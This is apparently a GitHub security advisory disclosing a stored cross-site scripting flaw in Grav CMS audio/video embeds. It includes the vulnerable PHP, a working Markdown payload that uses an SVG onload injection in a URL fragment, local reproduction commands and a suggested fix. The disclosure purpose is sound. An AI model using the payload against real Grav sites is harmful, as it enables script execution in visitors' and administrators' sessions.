+ "details": "**Target:** github.com/getgrav/grav \n**Affected resource:** `Grav\\Common\\Media\\Traits\\AudioMediaTrait` / `VideoMediaTrait` `sourceParsedownElement()` — verified on 2.0.13 (latest stable) and `develop` HEAD `5a7070f` \n**Severity:** Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory [CVE-2026-42841](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr), same PR:H / S:C / C:H / I:L) \n**Weakness:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n\n## Summary\n\nA Markdown audio or video embed renders its `<source>` element as **raw HTML** with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so `![x](song.mp3#\"><svg/onload=alert(1)>)` breaks out of `<source src=\"…\">` and injects arbitrary HTML — including a script-executing `<svg onload>` — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.\n\nThis is the next sink in the media-parameter injection class the maintainer has been closing: [GHSA-r7fx-8g49-7hhr](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr) (`attribute()`), [GHSA-pmf8-g7c8-7v54 / CVE-2026-55890](https://github.com/getgrav/grav/security/advisories/GHSA-pmf8-g7c8-7v54) (`style()`, 2.0.0-rc.9), and [GHSA-ffmg-hfvg-jhg9](https://github.com/getgrav/grav/security/advisories/GHSA-ffmg-hfvg-jhg9) (`resize()`, 2.0.0-rc.10). All three guarded image `style`/`attribute` sinks; the [`aba291a5` audit](https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20) scoped itself to \"sinks reaching the style attribute\" and did not cover the audio/video `<source>` rawHtml sink, which reaches full script execution rather than CSS injection.\n\n## Root Cause\n\nThe audio/video player builds its inner source as Parsedown **rawHtml** (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — [`AudioMediaTrait.php` L43-52](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/AudioMediaTrait.php#L43-L52) (identical in [`VideoMediaTrait.php` L58-67](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/VideoMediaTrait.php#L58-L67)):\n\n```php\nprotected function sourceParsedownElement(array $attributes, $reset = true)\n{\n $location = $this->url($reset);\n return [\n 'name' => 'audio',\n 'rawHtml' => '<source src=\"' . $location . '\">Your browser does not support the audio tag.',\n 'attributes' => $attributes\n ];\n}\n```\n\n`$location` includes the URL fragment, which is stored with **no encoding** — [`MediaObjectTrait::urlHash()` L240-249](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php#L240-L249) only strips a leading `#`. Before that, the excerpt handler decodes the media URL with `htmlspecialchars_decode(urldecode(...))`, undoing Parsedown's escaping — [`Excerpts.php` L188](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L188) — and routes the fragment to `urlHash()` at [`Excerpts.php` L321-323](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L321-L323). So `\"`, `<`, `>`, `=`, `(`, `)` in the fragment survive into the raw `<source>`.\n\nTwo defenses that stop the *querystring* path do not cover the *fragment*:\n\n- The GFM tagfilter — [`ParsedownGravTrait::filterDisallowedRawHtml()` L528-535](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Markdown/ParsedownGravTrait.php#L528-L535) — escapes `<` only for `title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext`. `<svg>` and `<img>` are not on the list, so they inject as live markup.\n- The `__call` querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (`onload=alert(1)`) keep their `=` `(` `)` and execute.\n\nThe image render path is unaffected — an image's `src` goes into an htmlspecialchars-escaped attribute, not rawHtml.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- PHP >= 8.0 with the built-in web server (verified on 8.5)\n- curl\n- unzip\n\n### Step 1: Download Grav 2.0.13 (latest stable, self-contained core)\n\n```bash\nmkdir -p /tmp/grav-xss && cd /tmp/grav-xss\ncurl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip\nunzip grav.zip\n```\n\n### Step 2: Create a page with an audio file and a malicious Markdown embed\n\n```bash\ncd /tmp/grav-xss/grav\nmkdir -p user/pages/03.poc\nprintf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3\ncat > user/pages/03.poc/default.md <<'MD'\n---\ntitle: XSS PoC\n---\n![sound](sound.mp3#\"><svg/onload=alert(1)>)\nMD\n```\n\n### Step 3: Start Grav\n\n```bash\nphp -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php\n```\n\nLeave this running and open a new terminal for the next step.\n\n### Step 4: Fetch the rendered page and show the un-escaped injection\n\n```bash\nfor i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done\ncurl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>'\n```\n\nExpected output:\n\n```\n<audio controls=\"controls\" alt=\"sound\"><source src=\"/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#\"><svg/onload=alert(1)>\">Your browser does not support the audio tag.</audio>\n```\n\nThe `<source src=\"…#\">` is closed by the injected `\"` and `>`, and `<svg/onload=alert(1)>` follows as live markup. Open `http://127.0.0.1:8390/poc` in a browser: the SVG's `onload` fires and executes `alert(1)` (screenshot: a `document.body.innerHTML='XSS_…'` variant rewriting the page). Video reproduces identically with an `.mp4` file and the same fragment.\n\n## Suggested Fix\n\nEscape `$location` with `htmlspecialchars()` before concatenating it into the `<source src=\"…\">` rawHtml in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (and any other rawHtml media sink), or build the `<source>` through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in `MediaObjectTrait::urlHash()` should also be encoded rather than passed through verbatim.\n\n## Cleanup\n\n```bash\nkill %1 2>/dev/null\nrm -rf /tmp/grav-xss\n```\n\n## Impact\n\nArbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected `<svg onload>` runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a **no-interaction** sink: Grav's body renderer already passes interaction-based `<a href=\"javascript:\">` / `<form action=\"javascript:\">` raw but escapes auto-firing `<img onerror>` / `<svg onload>` on block tags — the audio/video `<source>` rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments